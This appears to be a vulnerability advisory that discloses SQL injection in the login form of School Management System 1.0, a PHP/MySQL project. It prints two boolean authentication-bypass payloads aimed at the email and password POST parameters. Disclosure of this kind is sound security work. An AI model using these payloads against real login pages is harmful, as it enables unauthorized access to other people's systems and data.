SQL injection in School Management System 1.0 allows remote attackers to modify or delete data, causing persistent changes to the application's content or behavior by using malicious SQL queries.

[Additional Information]

> https://github.com/lahirudanushka/School-Management-System---PHP-MySQL

[Vulnerability Type]

> SQL Injection

[Vendor of Product]

> https://github.com/lahirudanushka/School-Management-System---PHP-MySQL

#[Affected Product Code Base]

> https://github.com/lahirudanushka/School-Management-System---PHP-MySQL - Version 1

[Affected Component]

> http://localhost/login.php http://127.0.0.1/login.php

[Attack Type]

> Remote

[Impact Escalation of Privileges]

> true

[Attack Vectors]

> Boolean Injection to Bypass Authentication:

```
' or '1'='1' # ,
 ' or 1=1;#
```

Effected Parameter (POST):

> email, password

[Discoverer]

Soummya Mukhopadhyay @G37SYS73M